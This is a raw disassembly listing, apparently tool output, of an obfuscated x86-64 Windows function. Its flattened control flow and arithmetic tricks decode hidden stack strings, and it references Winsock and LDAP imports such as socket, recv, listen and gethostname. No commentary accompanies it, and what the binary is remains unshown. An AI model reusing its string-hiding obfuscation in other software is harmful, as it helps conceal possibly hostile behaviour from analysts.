ja 0x14008df98
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x14008df72
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14008dd60
lea r8, [r9 + 8]
lea r9, [r8 + 0x41]
jmp 0x14008dd60
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x4f
jmp 0x14008dd50
lea rcx, [rbx + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x4b
jmp 0x14008dcd0
movabs rcx, 0x39ff549e9ba0834d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x1b
jmp 0x14008dc65
movabs rdx, 0x3e8694de97dcb38
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14008e845
movabs rdx, 0xf7abbd625160de22
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 9
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
inc r9
dec rbx
inc rbx
jmp 0x14008dc52
movabs rcx, 0xeb6f1176b943f10c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x54
dec rbx
inc rbx
jmp 0x14008dc52
movabs rdx, 0xdf32658b212703f6
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x14008e895
movabs rcx, 0xd2f5b99f890a16e0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x20
add r8, r9
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008dc52
movabs rdx, 0xc6b90db3f0ed29ca
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x3d
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008dc52
movabs rdx, 0xba7c61c858d03cb4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0xa
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14008e8f5
movabs rcx, 0xae3fb5dcc0b34f9e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x52
jmp 0x14008e925
movabs rdx, 0xa20309f128966288
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
movzx eax, byte [rbp + rbx + 0x708]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008dc52
movabs rcx, 0x836b5c242c4e11d1
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
add dl, 0x49
mov byte [rbp + rbx + 0x708], dl
inc rbx
jmp 0x14008dc52
movabs rdx, 0x772eb038943124bb
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x1d
add dl, cl
cmp r9, 0x10
jb 0x14008e11f
movabs rcx, 0x70163fef4dc33b62
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea edx, [rcx*2 - 0x5c]
jmp 0x14008e845
movabs rcx, 0x6af2044cfc1437a5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x7d
cmp r8, 0x64
jae 0x14008e6c1
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x14008e5de
movabs rdx, 0xf5b788bb5ca1f886
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add cl, r11b
jmp 0x14008e14c
movabs rdx, 0x5eb5586163f74a8f
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add dl, 0x17
add dl, cl
lea rax, [r9 + r8]
cmp rax, 4
je 0x14008e6ed
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x14008e505
movabs rdx, 0x753a7b919f723f1f
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add dl, 0x27
add dl, cl
jmp 0x14008e198
movabs rdx, 0x2ee4efa6f1e586a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
movzx eax, byte [rbp + rbx + 0x708]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008dc52
movabs rcx, 0xf6b1a30ed7016b54
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x4c
jmp 0x14008e925
movabs rdx, 0xea74f7233ee47e3e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14008e8f5
movabs rcx, 0xde384b37a6c79128
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x18
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008dc52
movabs rcx, 0xd1fb9f4c0eaaa412
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x7e
add r8, r9
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008dc52
movabs rdx, 0xc5bef360768db6fc
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, recv
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x14008e895
movabs rcx, 0xb9824774de70c9e6
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x4a
dec rbx
inc rbx
jmp 0x14008dc52
movabs rdx, 0xad459b894653dcd0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x14008dc52
movabs rdx, 0xa108ef9dae36efba
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x16
add dl, cl
jmp 0x14008e845
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x14008e3ec
lea rcx, [rbx + r13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x33
jmp 0x14008e1f3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008e430
movabs rdx, 0xfa1a537a5f72ce
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
movzx eax, byte [rbp + rbx + 0x708]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008dc52
inc rax
cmp r8, rax
jne 0x14008e45f
movabs rcx, 0xd36c63f127c5fe4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x3c
jmp 0x14008e925
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008e492
movabs rdx, 0x1973722aaa994cfa
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14008e8f5
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008e4d5
movabs rcx, 0x31ecca01dad32726
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0xa
add r8, r9
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008dc52
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14008e1f3
movabs rcx, 0x62df79b03b46db7e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x72
jmp 0x14008e845
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14008e535
movabs rcx, 0x8177277d378f2c35
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x73
jmp 0x14008e845
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008e56c
movabs rcx, 0x99f07f5467c90661
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
add dl, 0x59
dec rbx
inc rbx
jmp 0x14008dc52
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14008e59e
movabs rdx, 0xa62d2b3fffe5f377
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x41
add dl, cl
jmp 0x14008e895
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008e198
movabs rcx, 0xbea68317301fcda3
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x75
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008dc52
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008e61f
movabs rcx, 0x1f434a6f4bee59c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x44
movzx eax, byte [rbp + rbx + 0x708]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008dc52
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008e64f
movabs rcx, 0x1a6d8c7e24f8bfc8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x78
jmp 0x14008e8f5
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008e688
movabs rdx, 0x4b603c2c856c7420
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
dec rbx
inc rbx
jmp 0x14008dc52
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14008e14e
movabs rcx, 0x579ce8181d896136
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x7a
inc r9
dec rbx
inc rbx
jmp 0x14008dc52
movabs rdx, 0x7c52ebdae5e02878
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, byte [rbp + rbx + 0x708]
sub cl, al
add cl, r11b
sub dl, 0x48
add dl, cl
jmp 0x14008e895
movabs rdx, 0x888f97c67dfd158e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
add cl, cl
sub cl, byte [rbp + rbx + 0x708]
add dl, cl
add dl, r11b
jmp 0x14008e8f5
movabs rcx, 0xee9f187216340f2d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x3b
movzx eax, byte [rbp + rbx + 0x708]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008dc52
movabs rcx, 0xe2626c867e172217
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x5f
jmp 0x14008e925
movabs rcx, 0xc9e914af4ddd47eb
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x6d
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008dc52
movabs rcx, 0xbdac68c3b5c05ad5
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
add dl, 0x2d
add r8, r9
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008dc52
movabs rcx, 0xa53310ec858680a9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x61
dec rbx
inc rbx
jmp 0x14008dc52
movabs rdx, 0x8cb9b915554ca67d
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x6b
add dl, cl
jmp 0x14008e845
movabs rcx, 0x7440613e2512cc51
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x37
movabs rcx, 0x763495e519d1b1ed
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x7b
add cl, r11b
mov byte [rbp + rbx + 0x708], cl
inc r9
dec rbx
inc rbx
jmp 0x14008dc52
movabs rcx, 0x4f8a5d7b5cbc050f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x69
movabs rcx, 0x827141d0b1ee9f03
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x15
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0x708], cl
add r8, r9
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008dc52
mov r11, r10
movabs rdx, 0x2ad459b894653dcd
add rdx, rbx
movzx eax, dl
and al, r10b
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x65
add dl, cl
movabs rcx, 0x8eadedbc4a0b8c19
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x51
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x708], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0x94cc43b2161a02a4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x7c
add cl, r11b
mov byte [rbp + rbx + 0x708], cl
inc r8
mov rax, r12
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x708]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008dc52
movabs rcx, 0x125b01e1642b63a1
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x67
movzx eax, byte [rbp + rbx + 0x708]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008dc52
movabs rcx, 0x2dc2a8b303839637
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x7f
jmp 0x14008dc50
movabs rcx, 0x2185fcc76b66a921
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
add dl, 0x19
jmp 0x14008dc40
lea rcx, [rbp + 0x177ac6c]
jmp 0x14008ea05
lea rcx, [rbp + 0x10622f7]
jmp 0x14008ea05
lea rcx, [rbp + 0x708]
mov rdx, rdi
call fcn.140035c60
lea rdx, [0x140229ea0]
lea rcx, [rbp + 0x6e8]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x140230160]
call fcn.14006a650
mov rcx, rax
call fcn.14006ba40
mov rdi, rax
mov byte [rbp + 0x730], 0
mov byte [rbp + 0x731], Ordinal_217
mov byte [rbp + 0x732], 0xdc
mov byte [rbp + 0x733], Ordinal_45
mov byte [rbp + 0x734], 0xf0
mov byte [rbp + 0x735], 0xe6
mov byte [rbp + 0x736], 0xdd
mov byte [rbp + 0x737], Ordinal_217
mov byte [rbp + 0x738], 0xe9
mov byte [rbp + 0x739], 0xe1
mov byte [rbp + 0x73a], Ordinal_79
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x73b], xmm0
mov qword [rbp + 0x74b], rax
movabs rsi, 0x28eaa26a457661f5
movabs r14, 0x5b3f52b7b2b60919
movabs r15, 0x93bba60aa16da833
movabs r13, 0x4b506f193e4a2978
movzx r10d, byte [rsp + 0x40]
nop dword [rax + rax]
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14008f615
movzx r11d, byte [rbp + rbx + 0x730]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x14008f609
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x14008eb33
lea rcx, [rbx + rsi]
mov rax, rdx
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rdx
add r10, rcx
add r10b, 0x4d
jmp 0x14008eb6d
je 0x14008f580
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008f4e8
lea rax, [rcx + 1]
cmp r8, rax
je 0x14008f4b5
lea rax, [r9 + 2]
cmp r8, rax
je 0x14008f47d
lea rax, [r9 + 9]
cmp r8, rax
je 0x14008f428
nop dword [rax]
cmp r9, rbx
ja 0x14008f5fd
lea rax, [r9 + 0x41]
cmp r8, rax
jae 0x14008eba5
lea rcx, [rbx + r14]
movzx eax, r11b
and al, cl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x51
add r10b, cl
jmp 0x14008ebd9
lea rax, [r9 + 1]
cmp r8, rax
je 0x14008f403
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008f3d8
lea rax, [r9 + 6]
cmp r8, rax
je 0x14008f3a3
lea rax, [r9 + 2]
cmp r8, rax
je 0x14008f37b
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14008ede7
nop dword [rax]
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008edc1
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14008ed93
lea rax, [r9 + 6]
cmp r8, rax
je 0x14008ed64
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14008ed2e
lea r8, [r9 + 0x42]
lea r9, [r8 + 0x2a]
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14008f5d8
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x14008f5b4
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x14008ec92
lea r8, [r9 + 0x7a]
lea r9, [r8 + 9]
lea rax, [r9 + 3]
cmp r8, rax
ja 0x14008ed01
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x14008ecd8
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x14008ecb0
lea r8, [r9 + 0x42]
lea r9, [r8 + 0x2a]
jmp 0x14008ebf0
lea rdx, [rbx + r15]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub dl, 0x65
add r10b, dl
jmp 0x14008eaf5
movabs rdx, 0xeefaf8c25423b14c
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x14
add r10b, dl
jmp 0x14008f506
movabs rdx, 0x9d25b3edc936ed62
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14008f536
lea rcx, [rbx + r13]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x48
movzx eax, byte [rbp + rbx + 0x730]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008eae2
movabs rcx, 0x237bf04e30443696
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x1a
movzx eax, byte [rbp + rbx + 0x730]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008eae2
movabs rdx, 0x387c5352eeb79f1a
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x14008eae2
movabs rcx, 0xe6a70e7e63cadb30
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x50
inc r9
dec rbx
inc rbx
jmp 0x14008eae2
movabs rdx, 0x94d1c9a9d8de1746
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x14008f448
lea rax, [r9 + 0x1000]
cmp r8, rax
jae 0x14008eec0
lea rcx, [rbx + rsi]
movzx eax, r11b
and al, cl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x4d
add r10b, cl
lea rax, [r9 + r8]
cmp rax, 6
je 0x14008f34b
lea rax, [r9 + 0x200]
cmp r8, rax
jbe 0x14008f06a
movabs rdx, 0xbfe8b3528d355761
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x59
add r10b, dl
cmp r8, 0x42
jae 0x14008f2dd
lea rax, [r9 + 0x2a]
cmp r8, rax
jbe 0x14008f18f
movabs rdx, 0x1b28060a3feb607a
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x56
add r10b, dl
cmp r9, 6
jb 0x14008f2cd
movabs rdx, 0x4d7cb657ad2b079e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea r10d, [rcx + rcx]
jmp 0x14008f44b
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008ef03
movabs rcx, 0xb67ea56f656c1232
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x5e
movzx eax, byte [rbp + rbx + 0x730]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008eae2
inc rax
cmp r8, rax
jne 0x14008ef38
movabs rdx, 0x853ea43f058d61c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14008f536
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14008ef6d
movabs rdx, 0x5a292f187b459a06
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x2a
add r10b, dl
jmp 0x14008f506
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008efb3
movabs rdx, 0xabfe73ed06325df0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008eae2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008effc
movabs rdx, 0xfdd3b8c1911f21da
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 5
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008eae2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008f02e
movabs rdx, 0x4fa8fd961c0be5c4
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x5c
jmp 0x14008f306
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14008ee11
movabs rdx, 0xa17e426aa6f8a9ae
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x14008eae2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008f09c
movabs rdx, 0x11bdf82718221b4b
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0xd
jmp 0x14008f448
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008f0d3
movabs rcx, 0xb56881d02dfba31f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x27
dec rbx
inc rbx
jmp 0x14008eae2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14008f118
movabs rcx, 0x59130b7943d52af3
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x5b
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008eae2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008f14d
movabs rdx, 0xfcbd952259aeb2c7
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x71
add r10b, dl
jmp 0x14008f506
lea rax, [r9 + 9]
cmp r8, rax
jne 0x14008ee52
movabs rcx, 0xa0681ecb6f883a9b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3d
movzx eax, byte [rbp + rbx + 0x730]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008eae2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008f1d6
movabs rdx, 0x6cfd4adecad82464
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x730]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008eae2
inc rax
cmp r8, rax
jne 0x14008f20a
movabs rdx, 0xbed28fb355c4e84e
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x22
add r10b, dl
jmp 0x14008f536
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008f250
movabs rdx, 0x627d195c6b9e7022
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 9
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008eae2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008f295
movabs rcx, 0xb4525e30f68b340c
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x54
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008eae2
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14008ee8c
movabs rcx, 0x57fce7da0c64bbe0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x20
dec rbx
inc rbx
jmp 0x14008eae2
mov byte [rbp + rbx + 0x730], r10b
inc rbx
jmp 0x14008eae2
movabs rdx, 0x9f51fb2c3817cb88
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rbx + 0x730]
add r10b, r11b
add r10b, dl
movabs rdx, 0xc83c9d967d8e2d7d
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x6b
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0x730], cl
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008eae2
movabs rdx, 0xf1274000c3048f72
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, byte [rbp + rbx + 0x730]
sub r10b, 0x1e
add r10b, dl
jmp 0x14008f506
movabs rdx, 0x981434877f2f647f
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x79
add r10b, dl
jmp 0x14008f506
movabs rcx, 0x463eefb2f442a095
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x13
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008eae2
movabs rcx, 0x50bf2135537c54d7
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x1f
dec rbx
inc rbx
jmp 0x14008eae2
movabs rdx, 0xad14978c3da2cd03
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x15
jmp 0x14008f448
movabs rdx, 0x96a0de327c9452f
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x49
add r10b, dl
movabs rcx, 0x766758c1f2a16993
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 5
add cl, r11b
mov byte [rbp + rbx + 0x730], cl
inc r9
dec rbx
inc rbx
jmp 0x14008eae2
movabs rcx, 0xc214fa90fc163587
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x4f
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008eae2
movabs rcx, 0x703fb5bc7129719d
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x4b
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008eae2
mov r11, rdx
